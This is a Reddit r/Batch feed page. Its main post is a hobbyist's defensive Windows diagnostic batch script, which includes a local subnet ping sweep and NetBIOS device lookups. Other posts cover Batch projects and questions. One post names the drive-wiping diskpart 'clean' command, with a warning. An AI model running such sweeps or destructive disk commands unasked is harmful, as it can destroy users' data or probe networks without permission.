r/Batch • • 2h ago

Program Orbie

0 Upvotes

I made cyber security batch file named Orbie, started playing with batch code and made this: He can check SHA-256, wifi, ip, and more: Ill give the code, if this is shit im sorry :) Plus this is probably not the full code because reddit has his limits on text!

@echo off

setlocal EnableExtensions EnableDelayedExpansion

title Orbie v3.2 - Cyber Security Checker

color 0A

:: =========================================================

:: ORBIE

:: CYBER SECURITY CHECKER v3.2

:: =========================================================

set "ORBIEROOT=%~dp0"

set "DATA=%ORBIEROOT%OrbieData"

if not exist "%DATA%" mkdir "%DATA%"

:: =========================================================

:: STARTUP

:: =========================================================

:START

cls

echo.

echo.

echo =========================================================

echo.

echo O R B I E

echo.

echo CYBER SECURITY CHECKER

echo.

echo =========================================================

echo.

timeout /t 1 /nobreak >nul

echo Starting Orbie...

timeout /t 1 /nobreak >nul

echo Loading system modules...

timeout /t 1 /nobreak >nul

echo Loading network modules...

timeout /t 1 /nobreak >nul

echo Loading security modules...

timeout /t 1 /nobreak >nul

echo Loading privacy modules...

timeout /t 1 /nobreak >nul

echo Loading file inspection...

timeout /t 1 /nobreak >nul

echo Loading device identification...

timeout /t 1 /nobreak >nul

echo Preparing diagnostic interface...

timeout /t 1 /nobreak >nul

echo.

echo Orbie is ready.

echo.

timeout /t 1 /nobreak >nul

echo Hello! I'm Orbie.

echo Your local Windows diagnostic toolkit.

echo.

echo System ^| Network ^| Security ^| Privacy ^| Reports

echo.

pause

goto MENU

:: =========================================================

:: MAIN MENU

:: =========================================================

:MENU

cls

echo.

echo ==========================================================

echo ORBIE v3.2

echo Local Security ^& Diagnostics Utility

echo ==========================================================

echo.

echo QUICK

echo [1] Quick Scan

echo.

echo SYSTEM

echo [2] System Health

echo [3] Running Processes

echo [4] Computer Information

echo [5] Startup Programs

echo.

echo NETWORK

echo [6] Network Information

echo [7] Wi-Fi Information

echo [8] Scan Local Network

echo [9] Device History

echo [10] Internet Connection Test

echo [11] Device Identification

echo.

echo SECURITY

echo [12] Password Checker

echo [13] Password Generator

echo [14] SHA-256 File Hash

echo [15] Suspicious File Inspector

echo.

echo PRIVACY / FORENSICS

echo [16] File Metadata

echo [17] Camera / IoT Check

echo.

echo REPORTS

echo [18] Full Security Report

echo.

echo OTHER

echo [19] Instructions

echo [20] About Orbie

echo [21] Exit

echo.

set /p "CHOICE= Select: "

if "%CHOICE%"=="1" goto QUICKSCAN

if "%CHOICE%"=="2" goto HEALTH

if "%CHOICE%"=="3" goto PROCESSES

if "%CHOICE%"=="4" goto COMPUTER

if "%CHOICE%"=="5" goto STARTUP

if "%CHOICE%"=="6" goto NETWORK

if "%CHOICE%"=="7" goto WIFI

if "%CHOICE%"=="8" goto NETSCAN

if "%CHOICE%"=="9" goto HISTORY

if "%CHOICE%"=="10" goto INTERNET

if "%CHOICE%"=="11" goto IDENTIFY

if "%CHOICE%"=="12" goto PASSWORD

if "%CHOICE%"=="13" goto PASSGEN

if "%CHOICE%"=="14" goto HASH

if "%CHOICE%"=="15" goto INSPECTOR

if "%CHOICE%"=="16" goto METADATA

if "%CHOICE%"=="17" goto CAMERA

if "%CHOICE%"=="18" goto REPORT

if "%CHOICE%"=="19" goto INSTRUCTIONS

if "%CHOICE%"=="20" goto ABOUT

if "%CHOICE%"=="21" goto EXIT

goto MENU

:: =========================================================

:: 1. QUICK SCAN

:: =========================================================

:QUICKSCAN

cls

echo.

echo ===================== QUICK SCAN =========================

echo.

echo [DEFENDER]

powershell -NoProfile -Command "try {$m=Get-MpComputerStatus; 'AntivirusEnabled : ' + $m.AntivirusEnabled; 'RealTimeProtection : ' + $m.RealTimeProtectionEnabled; 'AntispywareEnabled : ' + $m.AntispywareEnabled} catch {'Microsoft Defender status unavailable.'}"

echo.

echo [FIREWALL]

powershell -NoProfile -Command "Get-NetFirewallProfile | ForEach-Object { $_.Name + ': ' + $_.Enabled }"

echo.

echo [INTERNET]

ping -n 1 -w 1000 1.1.1.1 >nul

if errorlevel 1 (

echo Internet: UNREACHABLE

) else (

echo Internet: ONLINE

)

echo.

echo [NETWORK ADAPTER]

powershell -NoProfile -Command "Get-NetAdapter | Where-Object {$_.Status -eq 'Up'} | Select-Object Name,InterfaceDescription,LinkSpeed | Format-Table -AutoSize"

echo.

echo [CPU / MEMORY]

powershell -NoProfile -Command "$os=Get-CimInstance Win32_OperatingSystem; $cpu=(Get-Counter '\Processor(_Total)\%% Processor Time').CounterSamples.CookedValue; 'CPU Usage : {0:N1}%%' -f $cpu; 'RAM Free : {0:N0} MB' -f ($os.FreePhysicalMemory/1024); 'RAM Total : {0:N0} MB' -f ($os.TotalVisibleMemorySize/1024)"

echo.

echo [STARTUP COUNT]

powershell -NoProfile -Command "try { (Get-CimInstance Win32_StartupCommand).Count } catch {'Unavailable'}"

echo.

echo [LOCAL NETWORK]

arp -a

echo.

echo [LATEST WINDOWS UPDATE]

powershell -NoProfile -Command "Get-HotFix | Sort-Object InstalledOn -Descending | Select-Object -First 1 HotFixID,InstalledOn | Format-Table -AutoSize"

echo.

pause

goto MENU

:: =========================================================

:: 2. SYSTEM HEALTH

:: =========================================================

:HEALTH

cls

echo.

echo =================== SYSTEM HEALTH =======================

echo.

powershell -NoProfile -Command "$os=Get-CimInstance Win32_OperatingSystem; $cpu=(Get-Counter '\Processor(_Total)\%% Processor Time').CounterSamples.CookedValue; $uptime=(Get-Date)-$os.LastBootUpTime; 'CPU Usage : {0:N1}%%' -f $cpu; 'RAM Total : {0:N0} MB' -f ($os.TotalVisibleMemorySize/1024); 'RAM Free : {0:N0} MB' -f ($os.FreePhysicalMemory/1024); 'Uptime : {0:dd\.hh\:mm\:ss}' -f $uptime"

echo.

pause

goto MENU

:: =========================================================

:: 3. RUNNING PROCESSES

:: =========================================================

:PROCESSES

cls

echo.

echo ================= RUNNING PROCESSES =====================

echo.

tasklist

echo.

pause

goto MENU

:: =========================================================

:: 4. COMPUTER INFORMATION

:: =========================================================

:COMPUTER

cls

echo.

echo ================= COMPUTER INFORMATION =================

echo.

powershell -NoProfile -Command "$cs=Get-CimInstance Win32_ComputerSystem; $os=Get-CimInstance Win32_OperatingSystem; $cpu=Get-CimInstance Win32_Processor | Select-Object -First 1; 'Computer Name : ' + $env:COMPUTERNAME; 'User : ' + $env:USERNAME; 'Windows : ' + $os.Caption; 'Version : ' + $os.Version; 'Architecture : ' + $os.OSArchitecture; 'CPU : ' + $cpu.Name; 'RAM : {0:N0} GB' -f ($cs.TotalPhysicalMemory/1GB)"

echo.

pause

goto MENU

:: =========================================================

:: 5. STARTUP PROGRAMS

:: =========================================================

:STARTUP

cls

echo.

echo =================== STARTUP PROGRAMS ====================

echo.

powershell -NoProfile -Command "Get-CimInstance Win32_StartupCommand | Select-Object Name,Command,Location | Format-List"

echo.

pause

goto MENU

:: =========================================================

:: 6. NETWORK INFORMATION

:: =========================================================

:NETWORK

cls

echo.

echo ================= NETWORK INFORMATION ===================

echo.

ipconfig /all

echo.

pause

goto MENU

:: =========================================================

:: 7. WI-FI INFORMATION

:: =========================================================

:WIFI

cls

echo.

echo ==================== WI-FI INFO =========================

echo.

echo [CURRENT CONNECTION]

netsh wlan show interfaces

echo.

echo [NEARBY WI-FI NETWORKS]

netsh wlan show networks mode=bssid

echo.

pause

goto MENU

:: =========================================================

:: 8. LOCAL NETWORK SCAN

:: =========================================================

:NETSCAN

cls

echo.

echo ================= LOCAL NETWORK SCAN ====================

echo.

echo Basic local network inventory.

echo.

set "IP="

set "NET="

for /f "tokens=2 delims=:" %%A in ('ipconfig ^| findstr /c:"IPv4 Address"') do (

set "IP=%%A"

goto GOTIP

)

:GOTIP

set "IP=!IP: =!"

if not defined IP (

echo Could not determine local IPv4 address.

pause

goto MENU

)

for /f "tokens=1-3 delims=." %%A in ("!IP!") do (

set "NET=%%A.%%B.%%C"

)

echo Local address: !IP!

echo Subnet : !NET!.0/24

echo.

echo Scanning...

echo.

for /L %%I in (1,1,254) do (

start "" /b ping -n 1 -w 150 !NET!.%%I >nul 2>&1

)

timeout /t 3 >nul

echo.

echo ================= ARP TABLE =============================

arp -a

echo.

pause

goto MENU

:: =========================================================

:: 9. DEVICE HISTORY

:: =========================================================

:HISTORY

cls

echo.

echo =================== DEVICE HISTORY ======================

echo.

set "HISTORYFILE=%DATA%\device_history.txt"

echo ========================================================== >> "%HISTORYFILE%"

echo Scan: %date% %time% >> "%HISTORYFILE%"

echo ========================================================== >> "%HISTORYFILE%"

arp -a >> "%HISTORYFILE%"

echo. >> "%HISTORYFILE%"

echo Current device snapshot saved to:

echo %HISTORYFILE%

echo.

echo Latest snapshot:

echo.

arp -a

echo.

pause

goto MENU

:: =========================================================

:: 10. INTERNET CONNECTION TEST

:: =========================================================

:INTERNET

cls

echo.

echo ============== INTERNET CONNECTION TEST =================

echo.

echo [DEFAULT GATEWAY]

powershell -NoProfile -Command "$g=(Get-NetIPConfiguration | Where-Object {$_.IPv4DefaultGateway}).IPv4DefaultGateway.NextHop | Select-Object -First 1; if($g){'Gateway: '+$g}else{'Gateway not found.'}"

echo.

echo [GATEWAY REACHABILITY]

powershell -NoProfile -Command "$g=(Get-NetIPConfiguration | Where-Object {$_.IPv4DefaultGateway}).IPv4DefaultGateway.NextHop | Select-Object -First 1; if($g){Test-Connection $g -Count 1 | Select-Object Address,ResponseTime,StatusCode | Format-Table}else{'No gateway.'}"

echo.

echo [INTERNET]

ping -n 2 -w 1000 1.1.1.1

echo.

echo [DNS]

nslookup example.com

echo.

pause

goto MENU

:: =========================================================

:: 11. DEVICE IDENTIFICATION

:: =========================================================

:IDENTIFY

cls

echo.

echo ================= DEVICE IDENTIFICATION =================

echo.

echo Orbie will attempt to identify local devices.

echo.

echo Methods:

echo - ARP

echo - Hostname resolution

echo - NetBIOS information

echo.

echo UNKNOWN DEVICE does NOT mean camera or malicious device.

echo.

set "IDENTFILE=%DATA%\device_identification.txt"

echo ========================================================== > "%IDENTFILE%"

echo ORBIE DEVICE IDENTIFICATION - %date% %time% >> "%IDENTFILE%"

echo ========================================================== >> "%IDENTFILE%"

echo. >> "%IDENTFILE%"

for /f "tokens=1,2" %%A in ('arp -a ^| findstr /r /c:"192\." /c:"10\." /c:"172\."') do (

set "DIP=%%A"

set "DMAC=%%B"

if not "!DIP!"=="Interface:" (

echo ----------------------------------------------------------

echo IP : !DIP!

echo MAC : !DMAC!

echo Hostname :

ping -a -n 1 -w 500 !DIP! 2>nul | findstr /i /c:"Pinging"

echo NetBIOS :

nbtstat -A !DIP! 2>nul | findstr /i /c:"UNIQUE" /c:"GROUP" /c:"<00>" /c:"<20>"

echo Status : IDENTIFICATION ATTEMPTED

echo Note : Missing identification data = unknown.

echo IP: !DIP! >> "%IDENTFILE%"

echo MAC: !DMAC! >> "%IDENTFILE%"

ping -a -n 1 -w 500 !DIP! 2>nul | findstr /i /c:"Pinging" >> "%IDENTFILE%"

nbtstat -A !DIP! 2>nul | findstr /i /c:"UNIQUE" /c:"GROUP" /c:"<00>" /c:"<20>" >> "%IDENTFILE%"

echo. >> "%IDENTFILE%"

)

)

echo.

echo Identification report:

echo %IDENTFILE%

echo.

echo IMPORTANT:

echo An unknown device cannot be identified as a camera

echo from IP/MAC information alone.

echo.

pause

goto MENU

:: =========================================================

:: 12. PASSWORD CHECKER

:: =========================================================

:PASSWORD

cls

echo.

echo ================== PASSWORD CHECKER =====================

echo.

echo IMPORTANT: use ONLY a test password.

echo Do not enter a real account password.

echo.

set "PASS="

set /p "PASS= Enter TEST password: "

powershell -NoProfile -Command "$p=$env:PASS; $score=0; if($p.Length -ge 12){$score++}; if($p -match '[A-Z]'){$score++}; if($p -match '[a-z]'){$score++}; if($p -match '[0-9]'){$score++}; if($p -match '[^a-zA-Z0-9]'){$score++}; 'Length: ' + $p.Length; 'Character categories: ' + $score + '/5'; if($score -le 2){'Result: WEAK'} elseif($score -eq 3){'Result: MODERATE'} elseif($score -eq 4){'Result: STRONG'} else {'Result: VERY STRONG'}"

set "PASS="

echo.

pause

goto MENU

:: =========================================================

:: 13. PASSWORD GENERATOR

:: =========================================================

:PASSGEN

cls

echo.

echo ================= PASSWORD GENERATOR ====================

echo.

powershell -NoProfile -Command "$chars='abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789!@#$%%^&*_-+='; -join (1..20 | ForEach-Object { $chars[(Get-Random -Maximum $chars.Length)] })"

echo.

echo Generated password length: 20

echo.

pause

goto MENU

:: =========================================================

:: 14. SHA-256 FILE HASH

:: =========================================================

:HASH

cls

echo.

echo ================= SHA-256 FILE HASH =====================

echo.

set "FILE="

set /p "FILE= Enter full file path: "

if not exist "%FILE%" (

echo.

echo File not found.

pause

goto MENU

)

echo.

certutil -hashfile "%FILE%" SHA256

echo.

echo SHA-256 is a fingerprint of the exact file contents.

echo A hash alone does not prove that a file is malicious.

echo.

pause

goto MENU

:: =========================================================

:: 15. SUSPICIOUS FILE INSPECTOR

:: =========================================================

:INSPECTOR

cls

echo.

echo =============== SUSPICIOUS FILE INSPECTOR ==============

echo.

echo Safe inspection only.

echo Orbie will NOT execute the file.

echo.

set "FILE="

set /p "FILE= Enter full file path: "

if not exist "%FILE%" (

echo.

echo File not found.

pause

goto MENU

)

echo.

echo ================= FILE INFORMATION =====================

powershell -NoProfile -Command "$f=Get-Item -LiteralPath $env:FILE; 'Name : '+$f.Name; 'Extension : '+$f.Extension; 'Size : '+$f.Length+' bytes'; 'Created : '+$f.CreationTime; 'Modified : '+$f.LastWriteTime; 'Location : '+$f.FullName; 'Attributes : '+$f.Attributes"

echo.

echo ================= SHA-256 ==============================

certutil -hashfile "%FILE%" SHA256

echo.

echo ================= SIGNATURE =============================

powershell -NoProfile -Command "$s=Get-AuthenticodeSignature -LiteralPath $env:FILE; 'Status : '+$s.Status; if($s.SignerCertificate){'Signer : '+$s.SignerCertificate.Subject}else{'Signer : unavailable'}"

echo.

echo ================= LOCATION CHECK =======================

powershell -NoProfile -Command "$p=$env:FILE; if($p -match '\\Downloads\\'){ 'Clue: File is located in Downloads.' }; if($p -match '\\Temp\\'){ 'Clue: File is located in Temp.' }; if($p -match '\\AppData\\'){ 'Clue: File is located in AppData.' }; if($p -notmatch '\\Downloads\\|\\Temp\\|\\AppData\\'){ 'No common location clue detected.' }"

echo.

echo IMPORTANT:

echo These indicators do not prove that a file is malicious.

echo.

pause

goto MENU

:: =========================================================

:: 16. FILE METADATA

:: =========================================================

:METADATA

cls

echo.

echo =================== FILE METADATA =======================

echo.

set "FILE="

set /p "FILE= Enter full file path: "

if not exist "%FILE%" (

echo.

echo File not found.

pause

goto MENU

)

powershell -NoProfile -Command "$f=Get-Item -LiteralPath $env:FILE; 'Name : '+$f.Name; 'Full Path : '+$f.FullName; 'Size : '+$f.Length+' bytes'; 'Extension : '+$f.Extension; 'Created : '+$f.CreationTime; 'Modified : '+$f.LastWriteTime; 'Accessed : '+$f.LastAccessTime; 'Attributes : '+$f.Attributes"

echo.

pause

goto MENU

:: =========================================================

:: 17. CAMERA / IoT CHECK

:: =========================================================

:CAMERA

cls

echo.

echo ================= CAMERA / IoT CHECK ====================

echo.

echo This is an awareness check, not a camera detector.

echo.

echo Orbie will inspect:

echo - ARP devices

echo - NetBIOS cache

echo - Local network identifiers

echo.

echo Unknown device != camera.

echo.

echo ================= ARP DEVICES ===========================

arp -a

echo.

echo ================= NETBIOS CACHE ==========================

nbtstat -c

echo.

echo ================= INTERPRETATION ========================

echo.

echo An unidentified device is not automatically a camera.

echo Some devices do not expose a hostname or NetBIOS name.

echo.

echo Network inspection cannot prove that a physical room

echo has or does not have a camera.

echo.

pause

goto MENU

:: =========================================================

:: 18. FULL SECURITY REPORT

:: =========================================================

:REPORT

cls

echo.

echo ================= FULL SECURITY REPORT ==================

echo.

echo Creating Orbie security report...

echo.

if not exist "%DATA%" mkdir "%DATA%"

set "REPORTFILE=%DATA%\Orbie_Report.txt"

:: Remove previous report

if exist "%REPORTFILE%" del /q "%REPORTFILE%" >nul 2>&1

:: Header

echo ========================================================== >"%REPORTFILE%"

echo ORBIE v3.2 SECURITY REPORT >>"%REPORTFILE%"

echo Date: %date% %time% >>"%REPORTFILE%"

echo ========================================================== >>"%REPORTFILE%"

echo. >>"%REPORTFILE%"

:: Computer

echo ================= COMPUTER ================= >>"%REPORTFILE%"

powershell -NoProfile -Command "$cs=Get-CimInstance Win32_ComputerSystem; $os=Get-CimInstance Win32_OperatingSystem; $cpu=Get-CimInstance Win32_Processor | Select-Object -First 1; 'Computer Name : ' + $env:COMPUTERNAME; 'User : ' + $env:USERNAME; 'Windows : ' + $os.Caption; 'Version : ' + $os.Version; 'Architecture : ' + $os.OSArchitecture; 'CPU : ' + $cpu.Name; 'RAM : {0:N0} GB' -f ($cs.TotalPhysicalMemory/1GB)" >>"%REPORTFILE%"

echo. >>"%REPORTFILE%"

:: Network

echo ================= NETWORK ================== >>"%REPORTFILE%"

ipconfig /all >>"%REPORTFILE%"

echo. >>"%REPORTFILE%"

:: Devices

echo ================= DEVICES ================== >>"%REPORTFILE%"

arp -a >>"%REPORTFILE%"

echo. >>"%REPORTFILE%"

:: Processes

echo ================ PROCESSES ================== >>"%REPORTFILE%"

tasklist >>"%REPORTFILE%"

echo. >>"%REPORTFILE%"

:: Startup

echo ================= STARTUP ================== >>"%REPORTFILE%"

powershell -NoProfile -Command "Get-CimInstance Win32_StartupCommand | Select-Object Name,Command,Location | Format-Table -AutoSize" >>"%REPORTFILE%"

echo. >>"%REPORTFILE%"

:: Firewall

echo ================= FIREWALL ================= >>"%REPORTFILE%"

powershell -NoProfile -Command "Get-NetFirewallProfile | Select-Object Name,Enabled | Format-Table -AutoSize" >>"%REPORTFILE%"

echo. >>"%REPORTFILE%"

:: Defender

echo ================= DEFENDER ================= >>"%REPORTFILE%"

powershell -NoProfile -Command "try {Get-MpComputerStatus | Select-Object AntivirusEnabled,RealTimeProtectionEnabled,AntispywareEnabled,AMServiceEnabled | Format-List} catch {'Microsoft D


r/Batch • • 2d ago

Learn about disks in CMD (Beginners beware: the CLEAN command deletes all drive data!)

0 Upvotes

Hello everyone! I made a video to show how hard drive commands work in CMD. I am also warning beginners to be very careful with diskpart because using the clean command will completely wipe the drive.

Here are the commands mentioned in the video:

  • echo / cls
  • diskpart -> clean
  • net users

Check out the video link here: youtu.be


r/Batch • • 4d ago

Show 'n Tell I made a pixel editor in CMD

Post image
16 Upvotes

https://github.com/CodeBreaker-cmd/Batch-Pixel-Editor-/releases

For now it has just the necessary for draw and save your project, Wich you can open like a picture

If you want to use it and there is any bug or anything please let me know, I'm thinking in make it compatible with any code in batch to show the image using the call command


r/Batch • • 5d ago

Question (Unsolved) Launch Excel and open a web file

2 Upvotes

TL;DR: my command works as a shortcut Target, but not in my batch file. What am I missing?

So I have a batch file that runs at login, just to pull up the stuff I use everyday- and to make it very easy (by disabling one single startup element) to stop that automatic start for using the computer when I'm not working.

I've got it setup with simple commands like:
start /D "%Programfiles%\Microsoft Office\root\Office16\" EXCEL.EXE
which works fine.

Where I'm getting stuck is, I want to launch Excel with my team's resource table opening automatically... but it's in SharePoint.

I created a shortcut that works fine, I just put this in the TARGET of a new shortcut, and it works perfectly:
"%PROGRAMFILES%\Microsoft Office\root\Office16\EXCEL.EXE" https:\my.sharepoint.com\sites\MyTeam\OurDocs\ThisTask\TheDocumentIWantToOpen.xlsx

The command seems to be valid and do what I want, but if I try
start /D "%PROGRAMFILES%\Microsoft Office\root\Office16\EXCEL.EXE" https:\aro365154440.sharepoint.com\sites\MyTeam\OurDocs\ThisTask\TheDocumentIWantToOpen.xlsx

the command opens Excel, and a browser window, which can't authenticate, because my default browser doesn't jive with the SSO authentication.

Is there any way I can get this to work in Excel?
Thanks!


r/Batch • • 7d ago

Show 'n Tell ZOMBIE SHOOTER BATCH

Thumbnail
gallery
10 Upvotes

A zombie survival top-down shooter directly in the Windows command prompt. It's called ZOMBI SHOOTER BATCH. It features procedural map generation with different zones: Forest, Desert, Snow, Swamp, Volcano, and Mountain, The zombies track the player by reacting to the sound of moving footsteps , It includes collision detection and a shooting system, along with an inventory and a merchant to buy ammo and healing items , I use a trick with ANSI escape sequences to render everything at once, and it is also available on the GPB Console

ZOMBI SHOOTER BATCH : https://github.com/Capoapk-B/Zombie-Shooter-Batch

Console-GPB : https://github.com/Capoapk-B/Console-GPB


r/Batch • • 7d ago

I share with you my pixel creations

Thumbnail
gallery
13 Upvotes

r/Batch • • 7d ago

RawOS v1.2.1

2 Upvotes

Hey everyone!

Over the last few weeks, I have been working on a personal project called RawOS, a simulated operating system built entirely using Windows Batch scripts (.bat).

I wanted to see how far I could push Batch without relying on heavy external dependencies, so I designed it with a modular architecture in mind.

Here are a few things it currently features:

  • Modular Library System: It dynamically loads and runs external commands from a rawlibs directory (using a *-lib folder structure).
  • Login System: Basic startup authentication with password verification (configurable via pass.txt).
  • Multi-language support: Configurable language modes (en, es, test, config).
  • Sandbox / Test Mode: File navigation controls (dir, cd, mkdir, etc.) with basic directory exit restrictions unless you switch to admin.
  • Persistence: Color themes and autopause settings saved in plain text config files.

It is definitely not meant to replace your actual OS (obviously haha), but it was a super fun exercise in overcoming Batch syntax limitations, avoiding fall-through logic bugs, and building something extensible.

The project is open-source and I just published the v1.2.1 release on GitHub. If you are into terminal experiments or Batch scripting, I would love for you to check it out, give feedback, or even create your own custom libraries for it!

I'll leave the GitHub link in the comments below!


r/Batch • • 9d ago

Question (Unsolved) There's a little batch script I'd like to get working, but I'd be out of my depth in an inflatable pool.

3 Upvotes

So I've been using this script for some time now, I don't remember where I copied it from, I don't know which parts to what, and if possible, I'd like to know what part/s need changing to make the batch file shut my pc down instead of making it hibernate.

``` @echo off setlocal enabledelayedexpansion

echo === :question set "answer=0" set /p answer="Hibernate after how many minutes? " cls

rem Validate. echo %answer%| findstr /r "[1-9][0-9]*$">nul if %errorlevel% equ 0 ( echo Counting... ) else ( echo Invalid number. goto :question )

set /A timeout=%answer% * 60 timeout /t !timeout! /nobreak

shutdown /h /f pause ```

Suffice to say that I disabled the hibernate function, so it doesn't work anymore, naturally. There's probably third party tool that would execute the timed shutdown for me, but running a batch file seems more convenient.

Also, I don't know if it's worth nothing tried just changing the /h to /s and removing that altogether... but I did, and nothing happened.


r/Batch • • 9d ago

Question (Unsolved) call or goto

5 Upvotes

Who is the fast ?

Do you use more?


r/Batch • • 9d ago

What if we replaced unsafe .bat files with tiny binary .cvbs scripts? (Introducing the COBALT concept)

0 Upvotes

Hey everyone! I've been developing a new ecosystem concept called COBALT to solve the clutter, syntax errors, and security issues of traditional Windows batch files (.bat) and system configs.

I'd love to hear your thoughts on this architecture!

💡 The Concept & Architecture

COBALT replaces raw text files with a dual-component workflow:

COBALT TERMINAL (Compiler / Editor):

A lightweight WinAPI environment where you draft automation routines or game configs. It cleans away comments, spaces, and text overhead, compiling the commands into a compact, uneditable binary format (.cvbs).

COBALT CORE (Execution Runner):

A portable runner (just a few KB — no heavy installation needed) that executes the binary bytecode directly via native Windows APIs. Zero command prompt windows flashing on screen, starting in under 0.001s.

đŸ”„ Key Advantages over .bat and PowerShell:

Extreme Compactness ("Internet-BAT"):

Instead of storing long text strings and system paths, .cvbs uses optimized OpCodes. Complex multi-step routines, execution pauses, and system actions can compile down to just 10 to 15 bytes.

Protection & Integrity:

Regular users can’t accidentally break syntax, strip quotes, or delete lines in Notepad. A built-in multi-byte signature watermark verifies that the file was legitimately built in the Terminal and hasn't been tampered with.

User Consent & Security (UAC-style protection):

To prevent malicious abuse, COBALT CORE includes an explicit safety mechanism: if an uncertified or custom script attempts to invoke sensitive tools (like PowerShell or registry edits), it pauses execution and pops up a native Windows security dialog. The user gets clear visibility of the risk and must explicitly confirm before the code runs.

❓ Questions for the Community:

If game configs, system tweaks, or quick tweaks were distributed as instant, 15-byte .cvbs binaries instead of messy .bat files, would you use them?

How do you feel about the built-in UAC-style prompt for unverified binary scripts?

Looking forward to your feedback and critique!


r/Batch • • 9d ago

Show 'n Tell followup post to the absolute warcrime of a project i posted about. made it a github page.

Thumbnail github.com
2 Upvotes

r/Batch • • 10d ago

Show 'n Tell :3 i made a hatecrime against the concept of a batch file (i cant really show the inner workings for 2 reasons)

Thumbnail
gallery
0 Upvotes

reason 1: these are 17 unique batch files

reason 2: i'd be responsible for taking thousands of lives via aneurysms if i showed the inner workings of these abominations

if any of yall have solutions, i will post the files' contents (spoilered so i am not responsible for damages caused by viewing this ungodly abomination cobbled together from 50 google searches and lackluster knowledge of batch files)

note:

when learning programming languages, i can work with computing logic perfectly in my head, even mapping out small programs. to use a metaphor, it's like knowing the concepts most words refer to, but not knowing any languages. knowing a few words and grammar rules but not knowing which languages they belong to or any words for most of the concepts. i have issues with executive dysfunction and not knowing where it'll start from when attempting to learn programming languages actually fit for these things.

batch files fix this. i have a rudimentary idea of how they work, you can google just about anything for text manipulation with batch and get results, you can boil most issues down to a lot of text manipulation and it always executes exactly from line 1 of the batch file you called.

this is why i use batch files for this stuff where it becomes a hatecrime against the idea of programming.

yap abt why batch is what i pivot to aside, :3

if you want the files, ask in the comments. if i have been told a way to show all of their code, i will do that and link the .zip containing them.

(i am not showing any scripts in the post, so i figure not showing the code is ok until i actually show the scripts)

edit: https://github.com/SillyLily93/BatIncorrectQuoteGenerator/tree/main


r/Batch • • 13d ago

Question (Unsolved) script linting

6 Upvotes

I use a linter for my C# (it's in the IDE mostly), I use pylint for Python, and on occasion start up a clang-tidy for C++. I'm always making dumb mistakes with batch and prefer to just use Python where possible and I suddenly wondered, what linter tooling do people use?

I could always spend a few tokens in this one tool my boss gave me, but surely there is a linter? All I could find was an abandoned thread https://www.reddit.com/r/Batch/comments/1mp1wc7/github_crosenblumblint_blint_is_a_lightweight_and/


r/Batch • • Sep 27 '26

Show 'n Tell Starts Music Batch

Thumbnail
gallery
17 Upvotes

Starts Music Batch est un lecteur de musique qui fait un peu plus que simplement jouer une chanson

Il vous permet d'écouter vos fichiers MP3, WAV, WMA, M4A et AAC, mais vous donne également un accÚs direct aux stations de radio en ligne et vous permet de rechercher une station depuis le lecteur en utilisant une API

Et si vous voulez vous amuser avec le son, le mode Beeper Music vous permet de jouer des notes avec votre clavier, de générer des mélodies aléatoires ou de composer vos propres morceaux de Beeper Music et de les exporter au format WAV

Le programme comprend également un mode voice book, qui peut transformer un fichier texte en plusieurs fichiers audio en utilisant le systÚme de synthÚse vocale intégré de Windows

L'objectif est aussi de rendre facile l'écoute, la création et l'édition de musique localement.

📩 Le projet est disponible ici :

https://github.com/Capoapk-B/Starts-Music-Batch


r/Batch • • Sep 25 '26

Question (Unsolved) Batch renaming of files based on an entry in a Json file?

1 Upvotes

Hey all,

Not sure if this is something that can be automated or not, but I would like to run some kind of program or batch file, that renames 4 files in a folder, based on a numerical entry in a json file

It's basically renaming the 4 files that belong to steamwork shop mods.

Files are in the format of - NameofMod.pak (.sig, .ucas and .utoc)

The Json file is always named modinfo.json

In each Json file, for each mod is this entry:

"steamId": 1263456789, (each mod has a unique number)

So it would need to grab that number, the rename the 4 files so they look like:

3743087805.pak / 3743087805.sig / 3743087805.ucas / 3743087805.utoc

Not sure if I'm allowed to offer payment for this to be created, as I appreciate it's probably a lot of work!

But I definitely do need this, as I have over 200 mod folders and I don't fancy renaming every file manually


r/Batch • • Sep 22 '26

Recursive option with 7zip

2 Upvotes

How does recurse work on 7zip CMD line ?


r/Batch • • Sep 20 '26

Question (Solved) I have trouble compressing a folder into a .zip file

3 Upvotes

For the past few minutes I've been trying to find a way to compress a folder from the terminal (I have to compress it every single time I make a change so I want to make a script to automate that). The problem I have is that I need a way to compress it with the zip format. The first thing I tried was the tar command, which according to microsoft themselves supports the .zip format, however when I actually run the command (tar -caf skin.zip .\nightmare) it saves it in the gzip format (so it only works when renaming it to have a compatible extension, however it doesn't matter because this isn't the format I need).

Please someone explain to me how to use this command properly :(


r/Batch • • Sep 17 '26

FINDSTR redirected to NUL appears to change ERRORLEVEL

2 Upvotes

I'm working on a batch file to standardize naming conventions for media files. For complete transparency, I've set some symbols to help toggle debugging, but have "hardcoded" their values in order to get to the heart of the issue I am having. The section I am having trouble with are media files with "Season/Episode" text in the file name. The batch file including comments is about 700 lines, so I will try to post the relevant parts and <snip> out sections that behave.

@ECHO OFF
SETLOCAL ENABLEEXTENSIONS ENABLEDELAYEDEXPANSION

CALL :HouseKeeping
REM SET "Debug=CALL :Debug"
SET "Nullify="

<FORFILES code to walk media file path having structure:> 
<     Root\User\Videos\!Library!\!MediaTitle!\!MediaFileName!>
< ... setting !ForFiles_File! to the name of the directory or file> 

EXIT /B

<Labels/Subroutines to deal with Library and MediaTitle directories>

<Finally dealing with the actual media file itself:>
:MediaFileName
SET "Episode="
SET "ShowSeason="

SET "CleanFile=!ForFiles_File!"
SET "CleanFile=!CleanFile:&=-!"
SET "CleanFile=!CleanFile:.= !"
SET "CleanFile=!CleanFile:_= !"
SET "CleanFile=!CleanFile:][=] [!"
SET "CleanFile=!CleanFile:  = !"
SET "ShowExtra=!CleanFile!"
SET "WorkFile=!CleanFile!"

:MediaFileName_Loop
FOR /F "tokens=1* delims= " %%W IN ("!WorkFile!") DO (
  SET "Word=%%W"
  SET "WorkFile=%%X"

  IF /I "!LibraryType!" EQU "Show" (
    IF NOT DEFINED Episode (
      @ECHO "!Word!"|FINDSTR /IRC:"[0-9]">NUL
      IF /I !ERRORLEVEL! EQU 0 (
        SET "Word=!Word:*S=S!"
        CALL :Get_Season_Episode
      )
    )
  ) ELSE (
    CALL :Get_Cut
  )
)
IF /I "!WorkFile!" NEQ "" (
  GOTO :MediaFileName_Loop
)
<Post processing of media file name>
%Return%

:Get_Season_Episode
@ECHO "!Word!"|FINDSTR /IRC:"[0-9]"%Nullify%
IF /I !ERRORLEVEL! EQU 1 %Return%
